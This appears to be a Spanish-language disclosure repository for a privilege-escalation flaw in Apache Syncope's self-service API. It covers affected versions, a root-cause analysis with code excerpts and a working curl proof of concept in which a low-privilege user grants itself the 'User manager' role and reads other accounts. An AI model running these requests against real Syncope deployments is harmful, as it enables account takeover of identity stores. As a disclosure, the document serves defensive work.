
Apache Syncope: Escalada de privilegios en el autoservicio de usuarios
Gestión inadecuada de privilegios (CWE-269) en Apache Syncope. Un usuario autenticado con pocos privilegios puede otorgarse a sí mismo roles arbitrarios (y membresías de grupo, recursos externos y un nuevo realm) a través de la API de autoservicio de usuario — operaciones que en cualquier otra ruta de código requieren permisos administrativos — y convertirse así en administrador del almacén de identidades.
Este repositorio es la referencia técnica de la vulnerabilidad: causa raíz, una prueba de concepto confirmada en tiempo de ejecución y notas de reproducción. Un relato narrativo de cómo se encontró se publica por separado (consulta Informe detallado).
| CVE | CVE-2026-62183 |
| Proveedor / producto | Apache Software Foundation — Apache Syncope |
| Paquete afectado | org.apache.syncope.core:syncope-core-workflow-java |
| Clase | CWE-269 Gestión inadecuada de privilegios (mecanismo: CWE-862 Autorización ausente) |
| Gravedad | Importante (ASF PMC) · CVSS 3.1 8.8 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Versiones afectadas | 3.0.0-M0 → 3.0.16 · 4.0.0-M0 → 4.0.6 · 4.1.0-M0 → 4.1.1 |
| Corregido en | 4.0.7 / 4.1.2 (SYNCOPE-1983) · 3.0.x está en EOL, sin corrección |
| Confirmado en | 3.0.16 (distribución independiente, JDK 17), dominio Master |
El endpoint de actualización de autoservicio de usuario de Apache Syncope, PATCH /users/self/{key}, solo requiere isAuthenticated(). La capa lógica compartida omite la comprobación de autorización para las operaciones "self", mientras que el binder de datos sigue aplicando los campos privilegiados de la solicitud (roles, memberships, resources, auxClasses, realm). El resultado es una escalada de privilegios directa: un usuario con pocos privilegios se autoasigna un rol privilegiado y obtiene de inmediato sus permisos — incluida, con un rol suficientemente potente, la administración completa de todos los usuarios. Cuando el autorregistro está habilitado, el mismo fallo se aplica a doCreate, por lo que un atacante no autenticado puede registrar una cuenta ya privilegiada.
La vulnerabilidad se aplica cuando está configurado uno de los siguientes adaptadores de flujo de trabajo de usuario (esto es a lo que acota el aviso del proveedor):
En producción, el autoservicio se maneja normalmente a través de la Enduser UI, que no expone la asignación de roles; llegar a esto requiere que la Core REST API sea invocable por el usuario con pocos privilegios. La PoC en tiempo de ejecución que aparece abajo usa la Standalone Distribution, que Apache documenta como de solo evaluación y que incluye datos semilla (el usuario bellini, los roles integrados User manager / User reviewer) — esos datos semilla no están presentes en un despliegue general. Estas son limitaciones honestas sobre la explotabilidad en el mundo real, no sobre la corrección del fallo.
Flujo de solicitud para PATCH /users/self/{key}:
UserSelfService.update(UserUR) common/.../rest/api/service/UserSelfService.java @PATCH @Path("users/self/{key}")
→ UserSelfLogic.update(...) core/idrepo/logic/.../UserSelfLogic.java
→ AbstractUserLogic.doUpdate(..., self=true)
→ UserDataBinderImpl.update(...) core/provisioning-java/.../data/UserDataBinderImpl.java
1. El endpoint solo autoriza "¿hay alguien conectado?" — UserSelfLogic.update:
@PreAuthorize("isAuthenticated() "
+ "and not(hasRole('" + IdRepoEntitlement.ANONYMOUS + "')) "
+ "and not(hasRole('" + IdRepoEntitlement.MUST_CHANGE_PASSWORD + "'))")
public ProvisioningResult<UserTO> update(final UserUR userUR, final boolean nullPriorityAsync) {
...
ProvisioningResult<UserTO> updated = doUpdate(userUR, true, nullPriorityAsync); // self = true
No se requiere ningún permiso (ni USER_UPDATE, ni alcance de rol/realm).
2. La comprobación de autorización se omite para las operaciones self — AbstractUserLogic.doUpdate:
protected ProvisioningResult<UserTO> doUpdate(final UserUR userReq, final boolean self, ...) {
...
if (!self) { // self == true: the whole block is skipped
Set<String> authRealms = RealmUtils.getEffective(
AuthContextUtils.getAuthorizations().get(IdRepoEntitlement.USER_UPDATE), ...);
userDAO.securityChecks(authRealms, before.getKey(), before.getRealm(), groups);
}
...
}
3. El binder aplica los campos privilegiados de todos modos — UserDataBinderImpl.update(...) aplica el ADD/DELETE de roles, memberships(...) (grupos) y fill(...) (resources / realm) directamente desde la solicitud, sin comprobación de los privilegios de quien llama — se supone que esa comprobación reside en la capa Logic que el paso 2 omite. La ruta de administración (UserLogic.update, @PreAuthorize("hasRole('USER_UPDATE')"), doUpdate(..., false, ...)) sí ejecuta securityChecks; la ruta self no.
El rol escalado surte efecto en la autenticación: AuthDataAccessor.getUserAuthorities(user) recorre userDAO.findAllRoles(user) y une los permisos de cada rol, de modo que el rol autoasignado está activo en la siguiente solicitud/inicio de sesión del usuario. El mismo salto if (!self) está presente en doCreate, lo que extiende el fallo al autorregistro.
En resumen: dos capas asumieron cada una que la otra aplicaba la comprobación de privilegios. El endpoint delegó la autorización en la capa Logic; la capa Logic la omitió para self; el binder confió en que la capa Logic hubiera protegido los campos.
Un usuario autenticado normal sin roles se autoasigna el rol privilegiado integrado User manager (que otorga USER_READ sobre /) y después lee una cuenta arbitraria. Sin acción de administrador, sin configuración especial. Script completo: poc.sh.
B=http://localhost:9080/syncope/rest
H='-H X-Syncope-Domain:Master -H Accept:application/json -H Content-Type:application/json'
# (setup, admin) create a plain user with NO roles → returns entity.key = $K2
curl -s -u admin:password $H -X POST "$B/users" -d '{"_class":"org.apache.syncope.common.lib.request.UserCR",
"realm":"/","username":"eviluser2","password":"Password123!","mustChangePassword":false,
"plainAttrs":[{"schema":"fullname","values":["E2"]},{"schema":"surname","values":["Two"]},
{"schema":"userId","values":["[email protected]"]}]}'
AUTH="-u eviluser2:Password123!"
# [1] baseline — eviluser2 cannot read another account:
curl -s $AUTH $H -o /dev/null -w '%{http_code}\n' "$B/users/bellini" # -> 403
# [2] THE BUG — eviluser2 self-assigns the existing privileged role "User manager":
curl -s $AUTH $H -X PATCH "$B/users/self/$K2" -d '{"_class":"org.apache.syncope.common.lib.request.UserUR",
"key":"'"$K2"'","roles":[{"operation":"ADD_REPLACE","value":"User manager"}]}' \
-w '%{http_code}\n' # -> 200 ; entity.roles=["User manager"]
# [3] escalated — eviluser2 now reads any account:
curl -s $AUTH $H -o /dev/null -w '%{http_code}\n' "$B/users/bellini" # -> 200